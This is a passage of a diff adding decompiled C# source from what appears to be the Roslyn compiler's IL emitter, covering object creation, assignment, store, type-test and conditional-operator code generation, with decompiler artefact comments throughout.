EmitExpression(expression.Count, used); + if (used) + { + _sawStackalloc = true; + _builder.EmitOpCode(ILOpCode.Localloc); + } + BoundArrayInitialization initializerOpt = expression.InitializerOpt; + if (initializerOpt == null) + { + return; + } + if (used) + { + EmitStackAllocInitializers(expression.Type, initializerOpt); + return; + } + ImmutableArray.Enumerator enumerator = initializerOpt.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + EmitExpression(current, used: false); + } + } + + private void EmitObjectCreationExpression(BoundObjectCreationExpression expression, bool used) + { + MethodSymbol constructor = expression.Constructor; + bool avoidInPlace; + if (constructor.IsDefaultValueTypeConstructor()) + { + EmitInitObj(expression.Type, used, expression.Syntax); + } + else if (!used && ConstructorNotSideEffecting(constructor)) + { + ImmutableArray.Enumerator enumerator = expression.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + EmitExpression(current, used: false); + } + } + else if (!TryEmitReadonlySpanAsBlobWrapper(expression, used, null, out avoidInPlace)) + { + EmitArguments(expression.Arguments, constructor.Parameters, expression.ArgumentRefKindsOpt); + int objCreationStackBehavior = GetObjCreationStackBehavior(expression); + _builder.EmitOpCode(ILOpCode.Newobj, objCreationStackBehavior); + EmitSymbolToken(constructor, expression.Syntax, constructor.IsVararg ? ((BoundArgListOperator)expression.Arguments[expression.Arguments.Length - 1]) : null); + EmitPopIfUnused(used); + } + } + + private bool TryEmitReadonlySpanAsBlobWrapper(BoundObjectCreationExpression expression, bool used, BoundExpression inPlaceTarget, out bool avoidInPlace) + { + int length = expression.Arguments.Length; + avoidInPlace = false; + if ((length == 1 && (object)expression.Constructor.OriginalDefinition == ((PEModuleBuilder)_module).Compilation.GetWellKnownTypeMember((WellKnownMember)404)) || (length == 3 && (object)expression.Constructor.OriginalDefinition == ((PEModuleBuilder)_module).Compilation.GetWellKnownTypeMember((WellKnownMember)405))) + { + return TryEmitReadonlySpanAsBlobWrapper((NamedTypeSymbol)expression.Type, expression.Arguments[0], used, inPlaceTarget, out avoidInPlace, (length == 3) ? expression.Arguments[1] : null, (length == 3) ? expression.Arguments[2] : null); + } + return false; + } + + private bool ConstructorNotSideEffecting(MethodSymbol constructor) + { + MethodSymbol originalDefinition = constructor.OriginalDefinition; + CSharpCompilation compilation = ((PEModuleBuilder)_module).Compilation; + if (originalDefinition == compilation.GetSpecialTypeMember((SpecialMember)117)) + { + return true; + } + if (originalDefinition.ContainingType.Name == "ValueTuple" && (originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)345) || originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)346) || originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)347) || originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)348) || originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)349) || originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)350) || originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)351) || originalDefinition == compilation.GetWellKnownTypeMember((WellKnownMember)344))) + { + return true; + } + return false; + } + + private void EmitAssignmentExpression(BoundAssignmentOperator assignmentOperator, UseKind useKind) + { + if (!TryEmitAssignmentInPlace(assignmentOperator, useKind != UseKind.Unused)) + { + bool lhsUsesStack = EmitAssignmentPreamble(assignmentOperator); + EmitAssignmentValue(assignmentOperator); + LocalDefinition temp = EmitAssignmentDuplication(assignmentOperator, useKind, lhsUsesStack); + EmitStore(assignmentOperator); + EmitAssignmentPostfix(assignmentOperator, temp, useKind); + } + } + + private bool TryEmitAssignmentInPlace(BoundAssignmentOperator assignmentOperator, bool used) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + if (assignmentOperator.IsRef) + { + return false; + } + BoundExpression left = assignmentOperator.Left; + if (used && !TargetIsNotOnHeap(left)) + { + return false; + } + if (!SafeToGetWriteableReference(left)) + { + return false; + } + BoundExpression right = assignmentOperator.Right; + TypeSymbol type = right.Type; + if (!type.IsTypeParameter() && (type.IsReferenceType || (right.ConstantValueOpt != (ConstantValue)null && (int)type.SpecialType != 17))) + { + return false; + } + if (right.IsDefaultValue()) + { + InPlaceInit(left, used); + return true; + } + if (right is BoundObjectCreationExpression boundObjectCreationExpression) + { + if (boundObjectCreationExpression.Arguments.Length > 0 && boundObjectCreationExpression.Arguments[0].Kind == BoundKind.ConvertedStackAllocExpression) + { + return false; + } + if (PartialCtorResultCannotEscape(left)) + { + MethodSymbol constructor = boundObjectCreationExpression.Constructor; + if (constructor.Parameters.All((ParameterSymbol p) => (int)p.RefKind == 0) && !constructor.IsVararg && TryInPlaceCtorCall(left, boundObjectCreationExpression, used)) + { + return true; + } + } + } + return false; + } + + private bool SafeToGetWriteableReference(BoundExpression left) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + if (!HasHome(left, Binder.AddressKind.Writeable)) + { + return false; + } + if (left.Kind == BoundKind.ArrayAccess && (int)left.Type.TypeKind == 11 && !left.Type.IsValueType) + { + return false; + } + if (left.Kind == BoundKind.FieldAccess) + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)left; + if (boundFieldAccess.FieldSymbol.IsVolatile || DiagnosticsPass.IsNonAgileFieldAccess(boundFieldAccess, ((PEModuleBuilder)_module).Compilation)) + { + return false; + } + } + return true; + } + + private void InPlaceInit(BoundExpression target, bool used) + { + EmitAddress(target, Binder.AddressKind.Writeable); + _builder.EmitOpCode(ILOpCode.Initobj); + EmitSymbolToken(target.Type, target.Syntax); + if (used) + { + EmitExpression(target, used); + } + } + + private bool TryInPlaceCtorCall(BoundExpression target, BoundObjectCreationExpression objCreation, bool used) + { + if (TryEmitReadonlySpanAsBlobWrapper(objCreation, used, target, out var avoidInPlace)) + { + return true; + } + if (avoidInPlace) + { + return false; + } + EmitAddress(target, Binder.AddressKind.Writeable); + MethodSymbol constructor = objCreation.Constructor; + EmitArguments(objCreation.Arguments, constructor.Parameters, objCreation.ArgumentRefKindsOpt); + int num = GetObjCreationStackBehavior(objCreation) - 2; + _builder.EmitOpCode(ILOpCode.Call, num); + EmitSymbolToken(constructor, objCreation.Syntax, constructor.IsVararg ? ((BoundArgListOperator)objCreation.Arguments[objCreation.Arguments.Length - 1]) : null); + if (used) + { + EmitExpression(target, used: true); + } + return true; + } + + private bool PartialCtorResultCannotEscape(BoundExpression left) + { + if (TargetIsNotOnHeap(left)) + { + if (_tryNestingLevel != 0) + { + if (left is BoundLocal localExpression && !_builder.PossiblyDefinedOutsideOfTry(GetLocal(localExpression))) + { + return true; + } + return false; + } + return true; + } + return false; + } + + private static bool TargetIsNotOnHeap(BoundExpression left) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + return left.Kind switch + { + BoundKind.Parameter => (int)((BoundParameter)left).ParameterSymbol.RefKind == 0, + BoundKind.Local => (int)((BoundLocal)left).LocalSymbol.RefKind == 0, + _ => false, + }; + } + + private bool EmitAssignmentPreamble(BoundAssignmentOperator assignmentOperator) + { + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_0184: Unknown result type (might be due to invalid IL or missing references) + //IL_0147: Unknown result type (might be due to invalid IL or missing references) + BoundExpression left = assignmentOperator.Left; + bool result = false; + switch (left.Kind) + { + case BoundKind.RefValueOperator: + EmitRefValueAddress((BoundRefValueOperator)left); + break; + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)left; + if ((int)boundFieldAccess.FieldSymbol.RefKind != 0 && !assignmentOperator.IsRef) + { + EmitFieldLoadNoIndirection(boundFieldAccess, used: true); + } + else if (!boundFieldAccess.FieldSymbol.IsStatic) + { + EmitReceiverRef(boundFieldAccess.ReceiverOpt, Binder.AddressKind.Writeable); + result = true; + } + break; + } + case BoundKind.Parameter: + { + BoundParameter boundParameter = (BoundParameter)left; + if ((int)boundParameter.ParameterSymbol.RefKind != 0 && !assignmentOperator.IsRef) + { + _builder.EmitLoadArgumentOpcode(ParameterSlot(boundParameter)); + result = true; + } + break; + } + case BoundKind.Local: + { + BoundLocal boundLocal = (BoundLocal)left; + if ((int)boundLocal.LocalSymbol.RefKind != 0 && !assignmentOperator.IsRef) + { + if (!IsStackLocal(boundLocal.LocalSymbol)) + { + LocalDefinition local = GetLocal(boundLocal); + _builder.EmitLocalLoad(local); + } + result = true; + } + break; + } + case BoundKind.ArrayAccess: + { + BoundArrayAccess boundArrayAccess = (BoundArrayAccess)left; + EmitExpression(boundArrayAccess.Expression, used: true); + EmitArrayIndices(boundArrayAccess.Indices); + result = true; + break; + } + case BoundKind.ThisReference: + { + BoundThisReference expression3 = (BoundThisReference)left; + EmitAddress(expression3, Binder.AddressKind.Writeable); + result = true; + break; + } + case BoundKind.Dup: + { + BoundDup expression2 = (BoundDup)left; + EmitAddress(expression2, Binder.AddressKind.Writeable); + result = true; + break; + } + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator expression = (BoundConditionalOperator)left; + EmitAddress(expression, Binder.AddressKind.Writeable); + result = true; + break; + } + case BoundKind.PointerIndirectionOperator: + { + BoundPointerIndirectionOperator boundPointerIndirectionOperator = (BoundPointerIndirectionOperator)left; + EmitExpression(boundPointerIndirectionOperator.Operand, used: true); + result = true; + break; + } + case BoundKind.Sequence: + { + BoundSequence boundSequence = (BoundSequence)left; + DefineAndRecordLocals(boundSequence); + EmitSideEffects(boundSequence); + result = EmitAssignmentPreamble(assignmentOperator.Update(boundSequence.Value, assignmentOperator.Right, assignmentOperator.IsRef, assignmentOperator.Type)); + CloseScopeAndKeepLocals(boundSequence); + break; + } + case BoundKind.Call: + { + BoundCall call = (BoundCall)left; + EmitCallExpression(call, UseKind.UsedAsAddress); + result = true; + break; + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation ptrInvocation = (BoundFunctionPointerInvocation)left; + EmitCalli(ptrInvocation, UseKind.UsedAsAddress); + result = true; + break; + } + case BoundKind.PreviousSubmissionReference: + case BoundKind.PropertyAccess: + case BoundKind.IndexerAccess: + throw ExceptionUtilities.UnexpectedValue((object)left.Kind); + case BoundKind.PseudoVariable: + EmitPseudoVariableAddress((BoundPseudoVariable)left); + result = true; + break; + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)left; + if (boundAssignmentOperator.IsRef) + { + EmitAssignmentExpression(boundAssignmentOperator, UseKind.UsedAsAddress); + break; + } + goto default; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)left.Kind); + case BoundKind.InstrumentationPayloadRoot: + case BoundKind.ModuleVersionId: + break; + } + return result; + } + + private void EmitAssignmentValue(BoundAssignmentOperator assignmentOperator) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + if (!assignmentOperator.IsRef) + { + EmitExpression(assignmentOperator.Right, used: true); + return; + } + int num = _expressionTemps?.Count ?? 0; + BoundExpression left = assignmentOperator.Left; + BoundExpression right = assignmentOperator.Right; + RefKind refKind = left.GetRefKind(); + bool flag = refKind - 3 <= 2; + LocalDefinition temp = EmitAddress(right, flag ? Binder.AddressKind.ReadOnlyStrict : Binder.AddressKind.Writeable); + AddExpressionTemp(temp); + int num2 = _expressionTemps?.Count ?? 0; + if (left.Kind == BoundKind.Local && SynthesizedLocalKindExtensions.IsLongLived(((BoundLocal)left).LocalSymbol.SynthesizedKind) && num2 > num) + { + _expressionTemps.Count = num; + } + } + + private LocalDefinition EmitAssignmentDuplication(BoundAssignmentOperator assignmentOperator, UseKind useKind, bool lhsUsesStack) + { + LocalDefinition val = null; + if (useKind != UseKind.Unused) + { + _builder.EmitOpCode(ILOpCode.Dup); + if (lhsUsesStack) + { + val = AllocateTemp(assignmentOperator.Left.Type, assignmentOperator.Left.Syntax, (LocalSlotConstraints)(assignmentOperator.IsRef ? 1 : 0)); + _builder.EmitLocalStore(val); + } + } + return val; + } + + private void EmitStore(BoundAssignmentOperator assignment) + { + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + BoundExpression left = assignment.Left; + switch (left.Kind) + { + case BoundKind.FieldAccess: + EmitFieldStore((BoundFieldAccess)left, assignment.IsRef); + return; + case BoundKind.Local: + { + BoundLocal boundLocal = (BoundLocal)left; + if ((int)boundLocal.LocalSymbol.RefKind != 0 && !assignment.IsRef) + { + EmitIndirectStore(boundLocal.LocalSymbol.Type, boundLocal.Syntax); + } + else if (!IsStackLocal(boundLocal.LocalSymbol)) + { + _builder.EmitLocalStore(GetLocal(boundLocal)); + } + return; + } + case BoundKind.ArrayAccess: + { + ArrayTypeSymbol arrayType = (ArrayTypeSymbol)((BoundArrayAccess)left).Expression.Type; + EmitArrayElementStore(arrayType, left.Syntax); + return; + } + case BoundKind.ThisReference: + EmitThisStore((BoundThisReference)left); + return; + case BoundKind.Parameter: + EmitParameterStore((BoundParameter)left, assignment.IsRef); + return; + case BoundKind.Dup: + EmitIndirectStore(left.Type, left.Syntax); + return; + case BoundKind.ConditionalOperator: + EmitIndirectStore(left.Type, left.Syntax); + return; + case BoundKind.PointerIndirectionOperator: + case BoundKind.RefValueOperator: + case BoundKind.PseudoVariable: + EmitIndirectStore(left.Type, left.Syntax); + return; + case BoundKind.Sequence: + { + BoundSequence boundSequence = (BoundSequence)left; + EmitStore(assignment.Update(boundSequence.Value, assignment.Right, assignment.IsRef, assignment.Type)); + return; + } + case BoundKind.Call: + EmitIndirectStore(left.Type, left.Syntax); + return; + case BoundKind.FunctionPointerInvocation: + EmitIndirectStore(left.Type, left.Syntax); + return; + case BoundKind.ModuleVersionId: + EmitModuleVersionIdStore((BoundModuleVersionId)left); + return; + case BoundKind.InstrumentationPayloadRoot: + EmitInstrumentationPayloadRootStore((BoundInstrumentationPayloadRoot)left); + return; + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)left; + if (boundAssignmentOperator.IsRef) + { + EmitIndirectStore(boundAssignmentOperator.Type, left.Syntax); + return; + } + break; + } + } + throw ExceptionUtilities.UnexpectedValue((object)left.Kind); + } + + private void EmitAssignmentPostfix(BoundAssignmentOperator assignment, LocalDefinition temp, UseKind useKind) + { + if (temp != null) + { + if (useKind == UseKind.UsedAsAddress) + { + _builder.EmitLocalAddress(temp); + } + else + { + _builder.EmitLocalLoad(temp); + } + FreeTemp(temp); + } + if (useKind == UseKind.UsedAsValue && assignment.IsRef) + { + EmitLoadIndirect(assignment.Type, assignment.Syntax); + } + } + + private void EmitThisStore(BoundThisReference thisRef) + { + _builder.EmitOpCode(ILOpCode.Stobj); + EmitSymbolToken(thisRef.Type, thisRef.Syntax); + } + + private void EmitArrayElementStore(ArrayTypeSymbol arrayType, SyntaxNode syntaxNode) + { + if (arrayType.IsSZArray) + { + EmitVectorElementStore(arrayType, syntaxNode); + } + else + { + _builder.EmitArrayElementStore(_module.Translate(arrayType), syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + } + + private void EmitVectorElementStore(ArrayTypeSymbol arrayType, SyntaxNode syntaxNode) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected I4, but got Unknown + TypeSymbol typeSymbol = arrayType.ElementType; + if (typeSymbol.IsEnumType()) + { + typeSymbol = ((NamedTypeSymbol)typeSymbol).EnumUnderlyingType; + } + PrimitiveTypeCode primitiveTypeCode = typeSymbol.PrimitiveTypeCode; + switch ((int)primitiveTypeCode) + { + case 0: + case 2: + case 12: + _builder.EmitOpCode(ILOpCode.Stelem_i1); + return; + case 1: + case 5: + case 13: + _builder.EmitOpCode(ILOpCode.Stelem_i2); + return; + case 6: + case 14: + _builder.EmitOpCode(ILOpCode.Stelem_i4); + return; + case 7: + case 15: + _builder.EmitOpCode(ILOpCode.Stelem_i8); + return; + case 8: + case 9: + case 16: + case 19: + _builder.EmitOpCode(ILOpCode.Stelem_i); + return; + case 3: + _builder.EmitOpCode(ILOpCode.Stelem_r4); + return; + case 4: + _builder.EmitOpCode(ILOpCode.Stelem_r8); + return; + } + if (typeSymbol.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Stelem_ref); + return; + } + _builder.EmitOpCode(ILOpCode.Stelem); + EmitSymbolToken(typeSymbol, syntaxNode); + } + + private void EmitFieldStore(BoundFieldAccess fieldAccess, bool refAssign) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (fieldSymbol.IsVolatile) + { + _builder.EmitOpCode(ILOpCode.Volatile); + } + if ((int)fieldSymbol.RefKind != 0 && !refAssign) + { + EmitIndirectStore(fieldSymbol.Type, fieldAccess.Syntax); + return; + } + _builder.EmitOpCode(fieldSymbol.IsStatic ? ILOpCode.Stsfld : ILOpCode.Stfld); + EmitSymbolToken(fieldSymbol, fieldAccess.Syntax); + } + + private void EmitParameterStore(BoundParameter parameter, bool refAssign) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if ((int)parameter.ParameterSymbol.RefKind != 0 && !refAssign) + { + EmitIndirectStore(parameter.ParameterSymbol.Type, parameter.Syntax); + return; + } + int num = ParameterSlot(parameter); + _builder.EmitStoreArgumentOpcode(num); + } + + private void EmitIndirectStore(TypeSymbol type, SyntaxNode syntaxNode) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected I4, but got Unknown + if (type.IsEnumType()) + { + type = ((NamedTypeSymbol)type).EnumUnderlyingType; + } + PrimitiveTypeCode primitiveTypeCode = type.PrimitiveTypeCode; + switch ((int)primitiveTypeCode) + { + case 0: + case 2: + case 12: + _builder.EmitOpCode(ILOpCode.Stind_i1); + return; + case 1: + case 5: + case 13: + _builder.EmitOpCode(ILOpCode.Stind_i2); + return; + case 6: + case 14: + _builder.EmitOpCode(ILOpCode.Stind_i4); + return; + case 7: + case 15: + _builder.EmitOpCode(ILOpCode.Stind_i8); + return; + case 8: + case 9: + case 16: + case 19: + _builder.EmitOpCode(ILOpCode.Stind_i); + return; + case 3: + _builder.EmitOpCode(ILOpCode.Stind_r4); + return; + case 4: + _builder.EmitOpCode(ILOpCode.Stind_r8); + return; + } + if (type.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Stind_ref); + return; + } + _builder.EmitOpCode(ILOpCode.Stobj); + EmitSymbolToken(type, syntaxNode); + } + + private void EmitPopIfUnused(bool used) + { + if (!used) + { + _builder.EmitOpCode(ILOpCode.Pop); + } + } + + private void EmitIsExpression(BoundIsOperator isOp, bool used, bool omitBooleanConversion) + { + BoundExpression operand = isOp.Operand; + EmitExpression(operand, used); + if (used) + { + if (!operand.Type.IsVerifierReference()) + { + EmitBox(operand.Type, operand.Syntax); + } + _builder.EmitOpCode(ILOpCode.Isinst); + EmitSymbolToken(isOp.TargetType.Type, isOp.Syntax); + if (!omitBooleanConversion) + { + _builder.EmitOpCode(ILOpCode.Ldnull); + _builder.EmitOpCode(ILOpCode.Cgt_un); + } + } + } + + private void EmitAsExpression(BoundAsOperator asOp, bool used) + { + BoundExpression operand = asOp.Operand; + EmitExpression(operand, used); + if (used) + { + TypeSymbol type = operand.Type; + TypeSymbol type2 = asOp.Type; + if ((object)type != null && !type.IsVerifierReference()) + { + EmitBox(type, operand.Syntax); + } + _builder.EmitOpCode(ILOpCode.Isinst); + EmitSymbolToken(type2, asOp.Syntax); + if (!type2.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Unbox_any); + EmitSymbolToken(type2, asOp.Syntax); + } + } + } + + private void EmitDefaultValue(TypeSymbol type, bool used, SyntaxNode syntaxNode) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + if (!used) + { + return; + } + if (!type.IsTypeParameter() && (int)type.SpecialType != 17) + { + ConstantValue defaultValue = type.GetDefaultValue(); + if (defaultValue != (ConstantValue)null) + { + _builder.EmitConstantValue(defaultValue); + return; + } + } + if (type.IsPointerOrFunctionPointer() || (int)type.SpecialType == 22) + { + _builder.EmitOpCode(ILOpCode.Ldc_i4_0); + _builder.EmitOpCode(ILOpCode.Conv_u); + } + else if ((int)type.SpecialType == 21) + { + _builder.EmitOpCode(ILOpCode.Ldc_i4_0); + _builder.EmitOpCode(ILOpCode.Conv_i); + } + else + { + EmitInitObj(type, used: true, syntaxNode); + } + } + + private void EmitDefaultExpression(BoundDefaultExpression expression, bool used) + { + EmitDefaultValue(expression.Type, used, expression.Syntax); + } + + private void EmitConstantExpression(TypeSymbol type, ConstantValue constantValue, bool used, SyntaxNode syntaxNode) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + if (used) + { + if ((object)type != null && (int)type.TypeKind == 11 && constantValue.IsNull) + { + EmitInitObj(type, used, syntaxNode); + } + else + { + _builder.EmitConstantValue(constantValue); + } + } + } + + private void EmitInitObj(TypeSymbol type, bool used, SyntaxNode syntaxNode) + { + if (used) + { + LocalDefinition val = AllocateTemp(type, syntaxNode, (LocalSlotConstraints)0); + _builder.EmitLocalAddress(val); + _builder.EmitOpCode(ILOpCode.Initobj); + EmitSymbolToken(type, syntaxNode); + _builder.EmitLocalLoad(val); + FreeTemp(val); + } + } + + private void EmitGetTypeFromHandle(BoundTypeOf boundTypeOf) + { + _builder.EmitOpCode(ILOpCode.Call, 0); + MethodSymbol getTypeFromHandle = boundTypeOf.GetTypeFromHandle; + EmitSymbolToken(getTypeFromHandle, boundTypeOf.Syntax, null); + } + + private void EmitTypeOfExpression(BoundTypeOfOperator boundTypeOfOperator) + { + TypeSymbol type = boundTypeOfOperator.SourceType.Type; + _builder.EmitOpCode(ILOpCode.Ldtoken); + EmitSymbolToken(type, boundTypeOfOperator.SourceType.Syntax); + EmitGetTypeFromHandle(boundTypeOfOperator); + } + + private void EmitSizeOfExpression(BoundSizeOfOperator boundSizeOfOperator) + { + TypeSymbol type = boundSizeOfOperator.SourceType.Type; + _builder.EmitOpCode(ILOpCode.Sizeof); + EmitSymbolToken(type, boundSizeOfOperator.SourceType.Syntax); + } + + private void EmitMethodDefIndexExpression(BoundMethodDefIndex node) + { + _builder.EmitOpCode(ILOpCode.Ldtoken); + MethodSymbol method = node.Method.PartialDefinitionPart ?? node.Method; + EmitSymbolToken(method, node.Syntax, null, encodeAsRawDefinitionToken: true); + } + + private void EmitLocalIdExpression(BoundLocalId node) + { + if ((object)node.HoistedField == null) + { + _builder.EmitIntConstant(GetLocal(node.Local).SlotIndex); + } + else + { + EmitHoistedVariableId(node.HoistedField, node.Syntax); + } + } + + private void EmitParameterIdExpression(BoundParameterId node) + { + if ((object)node.HoistedField == null) + { + _builder.EmitIntConstant(node.Parameter.Ordinal); + } + else + { + EmitHoistedVariableId(node.HoistedField, node.Syntax); + } + } + + private void EmitHoistedVariableId(FieldSymbol field, SyntaxNode syntax) + { + IFieldReference val = _module.Translate(field, syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, needDeclaration: true); + _builder.EmitOpCode(ILOpCode.Ldtoken); + _builder.EmitToken((IReference)(object)val, syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)4); + } + + private void EmitMaximumMethodDefIndexExpression(BoundMaximumMethodDefIndex node) + { + _builder.EmitOpCode(ILOpCode.Ldtoken); + _builder.EmitGreatestMethodToken(); + } + + private void EmitModuleVersionIdLoad(BoundModuleVersionId node) + { + _builder.EmitOpCode(ILOpCode.Ldsfld); + EmitModuleVersionIdToken(node); + } + + private void EmitModuleVersionIdStore(BoundModuleVersionId node) + { + _builder.EmitOpCode(ILOpCode.Stsfld); + EmitModuleVersionIdToken(node); + } + + private void EmitModuleVersionIdToken(BoundModuleVersionId node) + { + _builder.EmitToken((IReference)(object)((PEModuleBuilder)_module).GetModuleVersionId(((PEModuleBuilder)_module).Translate(node.Type, node.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), node.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), node.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + } + + private void EmitModuleVersionIdStringLoad() + { + _builder.EmitOpCode(ILOpCode.Ldstr); + _builder.EmitModuleVersionIdStringToken(); + } + + private void EmitInstrumentationPayloadRootLoad(BoundInstrumentationPayloadRoot node) + { + _builder.EmitOpCode(ILOpCode.Ldsfld); + EmitInstrumentationPayloadRootToken(node); + } + + private void EmitInstrumentationPayloadRootStore(BoundInstrumentationPayloadRoot node) + { + _builder.EmitOpCode(ILOpCode.Stsfld); + EmitInstrumentationPayloadRootToken(node); + } + + private void EmitInstrumentationPayloadRootToken(BoundInstrumentationPayloadRoot node) + { + _builder.EmitToken((IReference)(object)((PEModuleBuilder)_module).GetInstrumentationPayloadRoot(node.AnalysisKind, ((PEModuleBuilder)_module).Translate(node.Type, node.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), node.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), node.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + } + + private void EmitSourceDocumentIndex(BoundSourceDocumentIndex node) + { + _builder.EmitOpCode(ILOpCode.Ldtoken); + _builder.EmitSourceDocumentIndexToken(node.Document); + } + + private void EmitMethodInfoExpression(BoundMethodInfo node) + { + _builder.EmitOpCode(ILOpCode.Ldtoken); + EmitSymbolToken(node.Method, node.Syntax, null); + MethodSymbol getMethodFromHandle = node.GetMethodFromHandle; + if (getMethodFromHandle.ParameterCount == 1) + { + _builder.EmitOpCode(ILOpCode.Call, 0); + } + else + { + _builder.EmitOpCode(ILOpCode.Ldtoken); + EmitSymbolToken(node.Method.ContainingType, node.Syntax); + _builder.EmitOpCode(ILOpCode.Call, -1); + } + EmitSymbolToken(getMethodFromHandle, node.Syntax, null); + if (!TypeSymbol.Equals(node.Type, getMethodFromHandle.ReturnType, (TypeCompareKind)0)) + { + _builder.EmitOpCode(ILOpCode.Castclass); + EmitSymbolToken(node.Type, node.Syntax); + } + } + + private void EmitFieldInfoExpression(BoundFieldInfo node) + { + _builder.EmitOpCode(ILOpCode.Ldtoken); + EmitSymbolToken(node.Field, node.Syntax); + MethodSymbol getFieldFromHandle = node.GetFieldFromHandle; + if (getFieldFromHandle.ParameterCount == 1) + { + _builder.EmitOpCode(ILOpCode.Call, 0); + } + else + { + _builder.EmitOpCode(ILOpCode.Ldtoken); + EmitSymbolToken(node.Field.ContainingType, node.Syntax); + _builder.EmitOpCode(ILOpCode.Call, -1); + } + EmitSymbolToken(getFieldFromHandle, node.Syntax, null); + if (!TypeSymbol.Equals(node.Type, getFieldFromHandle.ReturnType, (TypeCompareKind)0)) + { + _builder.EmitOpCode(ILOpCode.Castclass); + EmitSymbolToken(node.Type, node.Syntax); + } + } + + private void EmitConditionalOperator(BoundConditionalOperator expr, bool used) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + if (used && (int)_ilEmitStyle != 0 && (IsNumeric(expr.Type) || (int)expr.Type.PrimitiveTypeCode == 0) && hasIntegralValueZeroOrOne(expr.Consequence, out var isOne) && hasIntegralValueZeroOrOne(expr.Alternative, out var isOne2) && isOne != isOne2 && TryEmitComparison(expr.Condition, isOne)) + { + PrimitiveTypeCode primitiveTypeCode = expr.Type.PrimitiveTypeCode; + if ((int)primitiveTypeCode != 0) + { + _builder.EmitNumericConversion((PrimitiveTypeCode)6, primitiveTypeCode, false); + } + return; + } + object dest = new object(); + object obj = new object(); + EmitCondBranch(expr.Condition, ref dest, sense: true); + EmitExpression(expr.Alternative, used); + TypeSymbol typeSymbol = StackMergeType(expr.Alternative); + if (used) + { + if (IsVarianceCast(expr.Type, typeSymbol)) + { + EmitStaticCast(expr.Type, expr.Syntax); + typeSymbol = expr.Type; + } + else if (expr.Type.IsInterfaceType() && !TypeSymbol.Equals(expr.Type, typeSymbol, (TypeCompareKind)0)) + { + EmitStaticCast(expr.Type, expr.Syntax); + } + } + _builder.EmitBranch(ILOpCode.Br, obj, ILOpCode.Nop); + if (used) + { + _builder.AdjustStack(-1); + } + _builder.MarkLabel(dest); + EmitExpression(expr.Consequence, used); + if (used) + { + TypeSymbol typeSymbol2 = StackMergeType(expr.Consequence); + if (IsVarianceCast(expr.Type, typeSymbol2)) + { + EmitStaticCast(expr.Type, expr.Syntax); + typeSymbol2 = expr.Type; + } + else if (expr.Type.IsInterfaceType() && !TypeSymbol.Equals(expr.Type, typeSymbol2, (TypeCompareKind)0)) + { + EmitStaticCast(expr.Type, expr.Syntax); + } + } + 